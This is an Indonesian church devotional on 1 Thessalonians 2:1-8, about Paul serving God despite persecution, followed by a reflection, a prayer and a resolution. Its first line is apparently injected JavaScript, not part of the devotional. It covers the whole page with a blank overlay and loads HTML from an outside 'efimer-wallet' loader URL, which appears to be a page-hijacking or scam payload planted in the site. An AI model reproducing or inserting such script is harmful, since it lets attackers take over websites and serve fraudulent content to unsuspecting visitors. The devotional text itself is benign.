const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
Sabtu, 28 Oktober 2023
1 Tesalonika 2 : 1 – 8
Pengantar
Apakah yang mendorong atau menghambat Saudara terlibat aktif di dalam suatu pelayanan? Belajar dari kehidupan rasul Paulus, hari ini kita akan merenungkan tentang keterlibatan umat Allah dalam pelayanan
Pemahaman
ay. 1-4 : Apa yang membuat rasul Paulus terlibat di dalam pelayanan?
ay. 4-8 : Apa saja yang dilakukan rasul Paulus di dalam pelayanan?
Salah satu alasan yang cukup kuat bagi rasul Paulus untuk tidak melayani adalah telah mengalami berbagai penganiayaan dalam pelayanan, termasuk penganiayaan dan penghinaan yang dialaminya di kota Filipi. Berdasarkan Kisah Para Rasul 16:19-24 kita dapat mengetahui bahwa pelayanan Paulus di Filipi cukup berhasil. Salah satunya adalah mengusir roh jahat yang merasuk perempuan penenung. Namun keberhasilan itu membuat Paulus dan Silas diseret ke pasar untuk menghadap penguasa. Di pengadilan itu Paulus didakwa mengacau kota yang mengajarkan adat istiadat Yahudi yang tidak diterima orang Romawi. Akibatnya pakaian Paulus dilucuti, lalu dicambuk sebanyak 39x dan akhirnya dilemparkan ke dalam penjara dengan penjagaan yang sangat ketat. Namun demikian, fokus pandangan Paulus bukan pada penganiayaan tersebut, melainkan pada pertolongan Allah yang membuat mereka berani melayani meski dalam perjuangan yang berat. Bagi Paulus pertolongan Allah ini merupakan tanda bagaimana Allah menganggap dirinya layak untuk melayani. Dan inilah yang menjadi alasan Paulus untuk melayani. (ay. 4).
Dalam menjalani pelayanan yang penuh pergumulan itu,
Paulus melayani untuk menyukakan Allah, bukan menyukakan manusia (ay. 4). Dengan kata lain, Paulus tidak mencari pujian dari manusia (ay. 6). Ketetapan hati Paulus untuk tidak mencari pujian dari manusia tersebut tidak membuatnya bersikap kasar kepada manusia, tetapi Paulus tetap berlaku ramah (ay. 7). Istilah Yunani yang digunakan Paulus untuk kata “ramah” di sini biasanya digunakan untuk menggambarkan tindakan lemah lembut seorang perawat ketika merawat anak. Itu sebabnya ada frasa keterangan yang menyatakan seperti seorang ibu yang mengasuh dan merawat anaknya. Namun tindakan lemah lembut tersebut bukan karena sedang mencari pujian dari manusia, melainkan untuk mencerminkan kasih Allah kepada manusia.
Refleksi
Bagaimana dengan kita? Apakah kita mengarahkan pandangan kita kepada Allah, ataukah pada berbagai pergumulan yang menghalangi kita untuk pelayanan? Apakah kita bersikap lembut dalam melayani agar mampu mencerminkan kasih Allah dan bukannya untuk mencari pujian dari manusia?
Tekadku
Doa: Bapa surgawi, tolong saya agar tetap fokus pada karya kasih- Mu sehingga tetap semangat dalam melayani-Mu. Amin.
Tindakanku
Saya akan menghayati kasih Allah pada diri saya dan belajar bersikap lemah lembut kepada sesama.